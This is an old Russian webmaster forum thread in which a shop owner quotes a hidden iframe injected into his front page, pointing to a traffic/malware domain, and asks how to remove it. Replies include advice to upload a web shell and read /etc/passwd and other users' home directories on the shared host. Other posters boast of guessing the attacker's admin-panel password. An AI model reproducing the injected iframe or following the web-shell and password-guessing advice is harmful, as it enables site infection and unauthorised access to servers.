Словин троян и поломал сайт. - Форум успешных вебмастеров - GoFuckBiz.com
 
 
Форум успешных вебмастеров - GoFuckBiz.com

  Форум успешных вебмастеров - GoFuckBiz.com > Бизнес-решения > Скрипты, программы и технические решения
Дата
USD/RUB93.4409
BTC/USD66772.7701
Скрипты, программы и технические решения Обсуждаем скрипты, программы и новые технологии.

Закрытая тема
Опции темы Опции просмотра
Старый 04.08.2007, 20:58   #1
xekcc
Юниор
 
Регистрация: 08.07.2007
Сообщений: 3
Бабло: $500
По умолчанию Словин троян и поломал сайт.

Код:
<iframe src='http://t-error.biz/traff/iframe.php?u=ammok' width='1' height='1' style='visibility: hidden;'></iframe>
Это код мне встраивается на морде. Об этом на СЕ.ру.
Поставил Касперский, удалил троян, удалил из нескольких файлов этот код, но при заходе на сайт код стоит на месте. Скачал все файлы шопа, вручную проверил каждый файл - кода нет. Че делать?

Последний раз редактировалось xekcc; 04.08.2007 в 21:01.
xekcc вне форума  
Старый 04.08.2007, 21:23   #2
analgin
Страдаю приступами необоснованных комментов.
 
Аватар для analgin
 
Регистрация: 07.06.2007
Адрес: Киев
Сообщений: 0
Бабло: $520
Отправить сообщение для analgin с помощью ICQ Отправить сообщение для analgin с помощью Skype™
По умолчанию

это называется кеш, знаешь что такое ? нет не деньги, контрл+ф5 тебе в помощь.
analgin вне форума  
Старый 04.08.2007, 21:26   #3
Nikola_N
$
 
Регистрация: 05.04.2007
Сообщений: 575
Бабло: $101390
По умолчанию

Цитата:
Сообщение от xekcc Посмотреть сообщение
Код:
<iframe src='http://t-error.biz/traff/iframe.php?u=ammok' width='1' height='1' style='visibility: hidden;'></iframe>
Это код мне встраивается на морде. Об этом на СЕ.ру.
Поставил Касперский, удалил троян, удалил из нескольких файлов этот код, но при заходе на сайт код стоит на месте. Скачал все файлы шопа, вручную проверил каждый файл - кода нет. Че делать?
уверен, что все файлы проверил? и как искал?
смени также доступ к фтп
Nikola_N вне форума  
Старый 04.08.2007, 22:48   #4
t3team
Юниор
 
Регистрация: 14.05.2007
Сообщений: 26
Бабло: $1640
По умолчанию

жалобу хостеру накатай и на домен. напиши мол у них там вирусы и занимаются распространением вирусов

Последний раз редактировалось t3team; 04.08.2007 в 22:51.
t3team вне форума  
Старый 04.08.2007, 23:21   #5
xekcc
Юниор
 
Регистрация: 08.07.2007
Сообщений: 3
Бабло: $500
ТС -->
автор темы ТС По умолчанию

2analgin, тоже самое.
2Nikola_N, открыл каждый файл в редакторе, ctrl+f. Пароль сменил.
2t3team, англ не знаю. Да и все равно нужно как-то удалить этот код.
xekcc вне форума  
Старый 04.08.2007, 23:50   #6
Gres
Senior Member
 
Регистрация: 12.07.2007
Сообщений: 685
Бабло: $82645
По умолчанию

1. проверь хостера - залей шелл от rst и попробуй прочитать /etc/passwd
если прочьтётся, - попробуй пройти по чужому пути /home/чужой_акк/public_html/ возможно стоит скрипт-автомат - фигачит ифрейм
2. поищи такой скрипт php у ся на акке
Gres вне форума  
Старый 06.08.2007, 21:09   #7
TritooN
Senior Member
 
Регистрация: 29.06.2007
Сообщений: 119
Бабло: $20820
По умолчанию

ох как не люблю ифреймщиков... такой х*ней занимаются, просто бесит (
__________________
$ Большие деньги любят тишину $
TritooN вне форума  
Старый 08.08.2007, 01:59   #8
drocher
Member
 
Аватар для drocher
 
Регистрация: 23.07.2007
Сообщений: 40
Бабло: $540
По умолчанию

админка, http://t-error.biz/traff/stat.php

пароль угадал с 3го раза
drocher вне форума  
Старый 08.08.2007, 02:32   #9
D007
саловер
 
Аватар для D007
 
Регистрация: 17.04.2007
Сообщений: 3,265
Бабло: $302675
Отправить сообщение для D007 с помощью Telegram Отправить сообщение для D007 с помощью Skype™
По умолчанию

с нами поделись, интересно
D007 вне форума  
Старый 08.08.2007, 03:15   #10
Sipler
Особый статус
 
Аватар для Sipler
 
Регистрация: 31.03.2007
Сообщений: 1,819
Бабло: $30910
По умолчанию

Блин,я с 5го
Sipler вне форума